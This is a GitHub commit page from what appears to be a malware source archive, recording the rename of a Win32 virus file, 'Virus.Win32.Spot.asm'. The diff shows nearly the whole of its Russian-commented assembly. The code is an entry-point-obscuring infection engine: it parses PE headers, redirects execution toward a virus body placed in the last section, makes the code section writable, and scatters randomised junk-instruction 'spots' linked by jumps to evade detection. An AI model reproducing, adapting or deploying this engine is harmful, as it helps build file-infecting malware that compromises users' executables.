Rename Win32/Virus.Win32.Spot.asm to Win32/Infector/Virus.Win32.Spot.asm

This commit is contained in:
vxunderground
2020-10-28 23:12:58 -05:00
committed by GitHub
parent 7ec2ec66c9
commit 59acb78c99
@@ -33,21 +33,21 @@
; (+) RANDOM LENGTH OF JUMP ; ; (+) RANDOM LENGTH OF JUMP ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
epo: epo:
push esi edi ; Сохраняем в стэке esi push esi edi ; Сохраняем в стэке esi
; и edi ; и edi
mov [ebp+map_address],edx ; Сохраняем адрес файла в mov [ebp+map_address],edx ; Сохраняем адрес файла в
; памяти ; памяти
call get_head ; Получаем PE заголовок call get_head ; Получаем PE заголовок
; ;
call search_eip ; Вычисляем новую точку call search_eip ; Вычисляем новую точку
; входа ; входа
call find_code ; Ищем начало кода в этом call find_code ; Ищем начало кода в этом
; файле ; файле
call spots ; Помещаем туда переход call spots ; Помещаем туда переход
; на вирус ; на вирус
pop edi esi ; Восстанавливаем из стэка pop edi esi ; Восстанавливаем из стэка
; edi и esi ; edi и esi
ret ; Выходим из подпрограммы ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; PE HEADER SUBROUTINE ; ; PE HEADER SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
@@ -61,26 +61,26 @@ epo:
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
get_head: get_head:
; Подпрограмма получения ; Подпрограмма получения
; PE заголовка ; PE заголовка
pusha ; Сохраняем всё в стэке pusha ; Сохраняем всё в стэке
mov ebx,[edx + 3ch] ; mov ebx,[edx + 3ch] ;
add ebx,edx ; add ebx,edx ;
; ;
mov [ebp + PE_header],ebx ; сохраняем PE заголовок mov [ebp + PE_header],ebx ; сохраняем PE заголовок
mov esi,ebx ; mov esi,ebx ;
mov edi,esi ; mov edi,esi ;
mov ebx,[esi + 28h] ; mov ebx,[esi + 28h] ;
mov [ebp + old_eip],ebx ; Сохраняем старую точку mov [ebp + old_eip],ebx ; Сохраняем старую точку
; входа (eip) ; входа (eip)
mov ebx,[esi + 34h] ; mov ebx,[esi + 34h] ;
mov [ebp + image_base],ebx ; Сохраняем mov [ebp + image_base],ebx ; Сохраняем
; виртуальный адрес ; виртуальный адрес
; начала программы ; начала программы
popa ; Вынимаем всё из стэка popa ; Вынимаем всё из стэка
ret ; Выходим из подпрограммы ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; NEW ENTRY POINT SUBROUTINE ; ; NEW ENTRY POINT SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
@@ -93,31 +93,31 @@ get_head:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
search_eip: search_eip:
; Подпрограмма вычисления ; Подпрограмма вычисления
; новой точки входа ; новой точки входа
pusha ; Сохраняем всё в стэке pusha ; Сохраняем всё в стэке
mov esi,[ebp+PE_header] ; Кладём в esi указатель mov esi,[ebp+PE_header] ; Кладём в esi указатель
; На PE заголовок ; На PE заголовок
mov ebx,[esi + 74h] ; mov ebx,[esi + 74h] ;
shl ebx,3 ; shl ebx,3 ;
xor eax,eax ; xor eax,eax ;
mov ax,word ptr [esi + 6h] ; Количество объектов mov ax,word ptr [esi + 6h] ; Количество объектов
dec eax ; (нам нужен последний-1 dec eax ; (нам нужен последний-1
mov ecx,28h ; заголовок секции) mov ecx,28h ; заголовок секции)
mul ecx ; * размер заголовка mul ecx ; * размер заголовка
add esi,78h ; теперь esi указывает add esi,78h ; теперь esi указывает
add esi,ebx ; на начало последнего add esi,ebx ; на начало последнего
add esi,eax ; заголовка секции add esi,eax ; заголовка секции
mov eax,[esi+0ch] ; mov eax,[esi+0ch] ;
add eax,[esi+10h] ; Сохраняем новую точку add eax,[esi+10h] ; Сохраняем новую точку
mov [ebp+new_eip],eax ; входа mov [ebp+new_eip],eax ; входа
popa ; Вынимаем всё из стэка popa ; Вынимаем всё из стэка
ret ; Выходим из подпрограммы ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; FIND START OF CODE SUBROUTINE ; ; FIND START OF CODE SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
@@ -130,59 +130,59 @@ search_eip:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
find_code: find_code:
; Подпрограмма поиска начала ; Подпрограмма поиска начала
; кода ; кода
mov esi,[ebp+PE_header] ; Кладём в esi указатель mov esi,[ebp+PE_header] ; Кладём в esi указатель
; На PE заголовок ; На PE заголовок
mov ebx,[esi + 74h] ; mov ebx,[esi + 74h] ;
shl ebx,3 ; Получаем shl ebx,3 ; Получаем
xor eax,eax ; xor eax,eax ;
mov ax,word ptr [esi + 6h] ; Количество объектов mov ax,word ptr [esi + 6h] ; Количество объектов
find2: find2:
mov esi,edi ; mov esi,edi ;
dec eax ; dec eax ;
push eax ; (нам нужен последний-1 push eax ; (нам нужен последний-1
mov ecx,28h ; заголовок секции) mov ecx,28h ; заголовок секции)
mul ecx ; * размер заголовка mul ecx ; * размер заголовка
add esi,78h ; теперь esi указывает на add esi,78h ; теперь esi указывает на
add esi,ebx ; начало последнего add esi,ebx ; начало последнего
; заголовка ; заголовка
add esi,eax ; секции add esi,eax ; секции
mov eax,[ebp+old_eip] ; В eax ложим точку входа mov eax,[ebp+old_eip] ; В eax ложим точку входа
mov edx,[esi+0ch] ; В edx адрес куда будет mov edx,[esi+0ch] ; В edx адрес куда будет
; мапиться ; мапиться
; текущая секция ; текущая секция
cmp edx,eax ; Проверяем cmp edx,eax ; Проверяем
pop eax ; Вынимаем из стэка eax pop eax ; Вынимаем из стэка eax
jg find2 ; Если больше ищем дальше jg find2 ; Если больше ищем дальше
add edx,[esi+08h] ; Добавляем виртуальный add edx,[esi+08h] ; Добавляем виртуальный
; размер секци ; размер секци
cmp edx,[ebp+old_eip] ; Проверяем cmp edx,[ebp+old_eip] ; Проверяем
jl find2 ; Если меньше ищем дальше jl find2 ; Если меньше ищем дальше
mov edx,[esi+0ch] ; Далее вычисляем mov edx,[esi+0ch] ; Далее вычисляем
; физическое ; физическое
mov eax,[ebp+old_eip] ; смещение кода в файле mov eax,[ebp+old_eip] ; смещение кода в файле
sub eax,edx ; sub eax,edx ;
add eax,[esi+14h] ; add eax,[esi+14h] ;
add eax,[ebp+map_address] ; И потом добавляем базу add eax,[ebp+map_address] ; И потом добавляем базу
; памяти ; памяти
mov [ebp+start_code],eax ; Сохраняем начало кода mov [ebp+start_code],eax ; Сохраняем начало кода
or [esi + 24h],00000020h or 20000000h or 80000000h or [esi + 24h],00000020h or 20000000h or 80000000h
; Меняем аттрибуты ; Меняем аттрибуты
; кодовой секции ; кодовой секции
mov eax,[esi+08] ; Вычисляем размер mov eax,[esi+08] ; Вычисляем размер
sub eax,[ebp+old_eip] ; той части кодовой секции, sub eax,[ebp+old_eip] ; той части кодовой секции,
mov edx,[esi+10h] ; где можно размещать mov edx,[esi+10h] ; где можно размещать
sub edx,eax ; пятна sub edx,eax ; пятна
mov [ebp+size_for_spot],edx ; mov [ebp+size_for_spot],edx ;
ret ; Возврат из процедуры ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ; ; SPOTS GENERATION SUBROUTINE ;
@@ -196,26 +196,26 @@ find2:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
spots: spots:
; Подпрограмма генерации ; Подпрограмма генерации
; пятен ; пятен
mov ecx,1 ; Кладём в ecx единицу mov ecx,1 ; Кладём в ecx единицу
; ;
call reset ; Подготавливаем данные call reset ; Подготавливаем данные
call num_spots ; Генерируем случайное число call num_spots ; Генерируем случайное число
; это будет кол-во пятен ; это будет кол-во пятен
tred: tred:
call save_bytes ; Сохраняем затираемы байты call save_bytes ; Сохраняем затираемы байты
call gen_spot ; Генерируем пятно call gen_spot ; Генерируем пятно
inc ecx ; Увеличиваем ecx на единицу inc ecx ; Увеличиваем ecx на единицу
cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы
jne tred ; Если нет, то генерируем jne tred ; Если нет, то генерируем
call save_bytes ; Сохраняем последние байты call save_bytes ; Сохраняем последние байты
call gen_final_spot ; И генерируем последнее call gen_final_spot ; И генерируем последнее
; пятно ; пятно
ret ; Возврат из процедуры ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT GENERATION SUBROUTINE ; ; SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
@@ -228,27 +228,27 @@ tred:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_spot: gen_spot:
; Подпрограмма генерации ; Подпрограмма генерации
; одного пятна ; одного пятна
push eax ecx ; Сохраняем eax и ecx push eax ecx ; Сохраняем eax и ecx
call len_sp_jmp ; Получаем случайную длину call len_sp_jmp ; Получаем случайную длину
xchg eax,ebx ; прыжка пятна xchg eax,ebx ; прыжка пятна
call testing ; Проверяем, чтобы пятно call testing ; Проверяем, чтобы пятно
jc quit2 ; не выходило за кодовую jc quit2 ; не выходило за кодовую
; секцию ; секцию
push ebx push ebx
xor bx,bx xor bx,bx
dec bx dec bx
mov ecx,[ebp+num1] ; Генерируем первую партию mov ecx,[ebp+num1] ; Генерируем первую партию
call garbage ; мусора call garbage ; мусора
pop ebx pop ebx
mov al,0e9h ; mov al,0e9h ;
stosb ; stosb ;
mov eax,0 ; Генерируем jmp mov eax,0 ; Генерируем jmp
add eax,ebx ; add eax,ebx ;
add eax,ecx ; add eax,ecx ;
stosd ; stosd ;
@@ -256,17 +256,17 @@ gen_spot:
push ebx push ebx
xor bx,bx xor bx,bx
dec bx dec bx
mov ecx,[ebp+num2] ; Генерируем вторую партию mov ecx,[ebp+num2] ; Генерируем вторую партию
call garbage ; мусора call garbage ; мусора
pop ebx pop ebx
sub edi,[ebp+num2] ; sub edi,[ebp+num2] ;
add edi,[ebp+num1] ; Корректируем edi add edi,[ebp+num1] ; Корректируем edi
add edi,ebx ; add edi,ebx ;
quit2: quit2:
pop ecx eax ; Восстанавливаем ecx и eax pop ecx eax ; Восстанавливаем ecx и eax
ret ; Возврат из подпрограммы ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; LAST SPOT GENERATION SUBROUTINE ; ; LAST SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
@@ -279,36 +279,36 @@ quit2:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_final_spot: gen_final_spot:
; Подпрограмма генерации ; Подпрограмма генерации
; финального пятна ; финального пятна
push eax ecx ; Сохраняем eax и ecx push eax ecx ; Сохраняем eax и ecx
jc not_big ; Если длина не превышает jc not_big ; Если длина не превышает
inc [ebp+n_spots] ; размера кодовой секции, то inc [ebp+n_spots] ; размера кодовой секции, то
not_big: ; Увеличим кол-во пятен not_big: ; Увеличим кол-во пятен
mov ecx,[ebp+num1] ; Генерируем мусорные mov ecx,[ebp+num1] ; Генерируем мусорные
call garbage ; инструкции call garbage ; инструкции
push edi ; Сохраняем edi push edi ; Сохраняем edi
sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a
mov ebx,edi ; для последнего пятна mov ebx,edi ; для последнего пятна
pop edi ; Восстанавливаем edi pop edi ; Восстанавливаем edi
mov al,0e9h ; mov al,0e9h ;
stosb ; stosb ;
mov eax,0 ; mov eax,0 ;
sub eax,5 ; Генерируем финальное sub eax,5 ; Генерируем финальное
sub eax,ebx ; пятно sub eax,ebx ; пятно
add eax,[ebp+new_eip] ; add eax,[ebp+new_eip] ;
sub eax,[ebp+old_eip] ; sub eax,[ebp+old_eip] ;
stosd ; stosd ;
mov ecx,[ebp+num2] ; Генерируем вторую партию mov ecx,[ebp+num2] ; Генерируем вторую партию
call garbage ; мусорных инструкций call garbage ; мусорных инструкций
pop ecx eax ; Восстанавливаем ecx и eax pop ecx eax ; Восстанавливаем ecx и eax
ret ; Возврат из подпрограммы ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ; ; SPOTS GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
@@ -322,29 +322,29 @@ not_big: ;
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes: save_bytes:
; Подпрограмма сохранения ; Подпрограмма сохранения
; заменяемых байт ; заменяемых байт
pusha ; Сохраняем всё в стэке pusha ; Сохраняем всё в стэке
call length1 ; Генерируем длины мусорных call length1 ; Генерируем длины мусорных
; инструкций ; инструкций
mov ebx,[ebp+num1] ; Помещаем в ebx первую mov ebx,[ebp+num1] ; Помещаем в ebx первую
add ebx,[ebp+num2] ; и вторую длины add ebx,[ebp+num2] ; и вторую длины
add ebx,5 ; Добавляем к ebx - 5 add ebx,5 ; Добавляем к ebx - 5
mov esi,edi ; Сохраняем в буфере с mov esi,edi ; Сохраняем в буфере с
mov edi,[ebp+pointer] ; начала смещение в памяти mov edi,[ebp+pointer] ; начала смещение в памяти
mov eax,esi ; на сохраняемые байты mov eax,esi ; на сохраняемые байты
stosd ; stosd ;
mov ecx,ebx ; После этого сохраняем в mov ecx,ebx ; После этого сохраняем в
mov eax,ecx ; буфере кол-во сохраняемых mov eax,ecx ; буфере кол-во сохраняемых
stosd ; байт stosd ; байт
rep movsb ; И в самом конце сохраняем rep movsb ; И в самом конце сохраняем
mov [ebp+pointer],edi ; в буфере сами байты mov [ebp+pointer],edi ; в буфере сами байты
; ;
popa ; Вынимаем всё из стэка popa ; Вынимаем всё из стэка
ret ; Возврат из подпрограммы ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESTORE SUBROUTINE ; ; RESTORE SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
@@ -357,32 +357,32 @@ save_bytes:
; OLD ENTRY POINT -> EBX ; ; OLD ENTRY POINT -> EBX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
restore: restore:
; Подпрограмма ; Подпрограмма
; восстановления сохранённых ; восстановления сохранённых
; байт ; байт
cld ; Поиск вперёд cld ; Поиск вперёд
lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер
mov edx,1 ; В edx кладём - 1 mov edx,1 ; В edx кладём - 1
not_enough: not_enough:
mov edi,[ebp+old_eip] ; В edi загружаем точку mov edi,[ebp+old_eip] ; В edi загружаем точку
add edi,[ebp+image_base] ; входа add edi,[ebp+image_base] ; входа
mov ebx,edi ; Сохраняем edi в ebx mov ebx,edi ; Сохраняем edi в ebx
lodsd ; В eax старое смещение lodsd ; В eax старое смещение
; байт в памяти ; байт в памяти
sub eax,[ebp+start_code] ; Отнимаем смещение начала sub eax,[ebp+start_code] ; Отнимаем смещение начала
; кода и добавляем ; кода и добавляем
add edi,eax ; точку входа add edi,eax ; точку входа
lodsd ; Загружаем в eax кол-во lodsd ; Загружаем в eax кол-во
mov ecx,eax ; байт и кладём их в ecx mov ecx,eax ; байт и кладём их в ecx
rep movsb ; Перемещаем оригинальные rep movsb ; Перемещаем оригинальные
; байты на старое место ; байты на старое место
inc edx ; Переходим к следующему inc edx ; Переходим к следующему
cmp edx,[ebp+n_spots] ; пятну cmp edx,[ebp+n_spots] ; пятну
jl not_enough ; если не все пятна вернули, jl not_enough ; если не все пятна вернули,
; то восстанавливаем дальше ; то восстанавливаем дальше
quit: ; quit: ;
ret ; Возврат из процедуры ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; LENGTH SPOT GENERATION SUBROUTINE ; ; LENGTH SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
@@ -395,23 +395,23 @@ quit: ;
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
length1: length1:
; Подпрограмма генерации ; Подпрограмма генерации
; длин мусорных инструкций ; длин мусорных инструкций
mov eax,20 ; mov eax,20 ;
call brandom32 ; Генерируем случайное число call brandom32 ; Генерируем случайное число
test eax,eax ; в диапазоне 1..19 test eax,eax ; в диапазоне 1..19
jz length1 ; jz length1 ;
mov [ebp+num1],eax ; Сохраняем его в переменную mov [ebp+num1],eax ; Сохраняем его в переменную
rand2: rand2:
mov eax,20 ; mov eax,20 ;
call brandom32 ; Генерируем случайное число call brandom32 ; Генерируем случайное число
test eax,eax ; в диапазоне 1..19 test eax,eax ; в диапазоне 1..19
jz rand2 ; jz rand2 ;
mov [ebp+num2],eax ; Сохраняем его в вторую mov [ebp+num2],eax ; Сохраняем его в вторую
; переменную ; переменную
ret ; Возврат из процедуры ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESET SUBROUTINE ; ; RESET SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
@@ -424,16 +424,16 @@ rand2:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
reset: reset:
; Подпрограмма инициализации ; Подпрограмма инициализации
; переменных ; переменных
mov edi,[ebp+start_code] ; mov edi,[ebp+start_code] ;
; ;
push esi ; Инициализируем переменные push esi ; Инициализируем переменные
lea esi,[ebp+rest_bytes] ; lea esi,[ebp+rest_bytes] ;
mov [ebp+pointer],esi ; mov [ebp+pointer],esi ;
pop esi ; pop esi ;
ret ; Возврат из процедуры ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT JUMP LENGTH GENERATION SUBROUTINE ; ; SPOT JUMP LENGTH GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
@@ -446,15 +446,15 @@ reset:
; LENGTH OF SPOT JUMP -> EAX ; ; LENGTH OF SPOT JUMP -> EAX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
len_sp_jmp: len_sp_jmp:
; Подпрограмма генерации ; Подпрограмма генерации
; длины прыжка ; длины прыжка
mov eax,150 ; mov eax,150 ;
call brandom32 ; Генерируем случайное число call brandom32 ; Генерируем случайное число
cmp eax,45 ; в диапазоне 45..149 cmp eax,45 ; в диапазоне 45..149
jle len_sp_jmp ; jle len_sp_jmp ;
ret ; Возврат из процедуры ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS NUMBER GENERATION SUBROUTINE ; ; SPOTS NUMBER GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
@@ -467,18 +467,18 @@ len_sp_jmp:
; NO OUTPUT IN SUBROUTINE ; ; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
num_spots: num_spots:
; Подпрограмма генерации ; Подпрограмма генерации
; количества пятен ; количества пятен
pusha ; Сохраняем всё в стэке pusha ; Сохраняем всё в стэке
mov eax,40 ; Генерируем случайное число mov eax,40 ; Генерируем случайное число
call brandom32 ; в диапазоне 1..40 call brandom32 ; в диапазоне 1..40
inc eax ; И сохраняем его в inc eax ; И сохраняем его в
mov [ebp+n_spots],eax ; переменной mov [ebp+n_spots],eax ; переменной
popa ; Вынимаем всё из стэка popa ; Вынимаем всё из стэка
ret ; Возврат из процедуры ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; TESTING SUBROUTINE ; ; TESTING SUBROUTINE ;
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
@@ -491,39 +491,39 @@ num_spots:
; CARRY FLAG ; ; CARRY FLAG ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
testing: testing:
; Подпрограмма проверки ; Подпрограмма проверки
; попадения в границу секции ; попадения в границу секции
push edi eax ; Сохраняем edi eax в стэке push edi eax ; Сохраняем edi eax в стэке
add edi,[ebp+num1] ; Добавим к edi 1-ую длину add edi,[ebp+num1] ; Добавим к edi 1-ую длину
; мусорных инструкций ; мусорных инструкций
add edi,[ebp+num2] ; После этого добавим 2-ую add edi,[ebp+num2] ; После этого добавим 2-ую
add edi,300 ; И добавим число в которое add edi,300 ; И добавим число в которое
; входит максимальный размер ; входит максимальный размер
; пятна + длина его прыжка ; пятна + длина его прыжка
mov eax,[ebp+size_for_spot] ; В eax загрузим размер mov eax,[ebp+size_for_spot] ; В eax загрузим размер
; места для пятен и смещение ; места для пятен и смещение
add eax,[ebp+start_code] ; в памяти точки входа add eax,[ebp+start_code] ; в памяти точки входа
cmp edi,eax ; Сравним eax и edi cmp edi,eax ; Сравним eax и edi
clc ; Сбросим carry флаг clc ; Сбросим carry флаг
jl m_space ; Если edi меньше, то все jl m_space ; Если edi меньше, то все
; хорошо ; хорошо
mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем
inc [ebp+n_spots] ; количество пятен и inc [ebp+n_spots] ; количество пятен и
stc ; устанавливаем carry флаг stc ; устанавливаем carry флаг
m_space: m_space:
pop eax edi ; Вынимаем eax и edi pop eax edi ; Вынимаем eax и edi
ret ; Возврат из процедуры ret ; Возврат из процедуры
;------------------------------------------------------------------------------; ;------------------------------------------------------------------------------;
pointer dd 0 ; pointer dd 0 ;
n_spots dd 0 ; n_spots dd 0 ;
; ;
num1 dd 0 ; num1 dd 0 ;
num2 dd 0 ; num2 dd 0 ;
; Данные необходимые для ; Данные необходимые для
PE_header dd 0 ; работы мотора PE_header dd 0 ; работы мотора
old_eip dd 0 ; old_eip dd 0 ;
image_base dd 0 ; image_base dd 0 ;
start_code dd 0 ; start_code dd 0 ;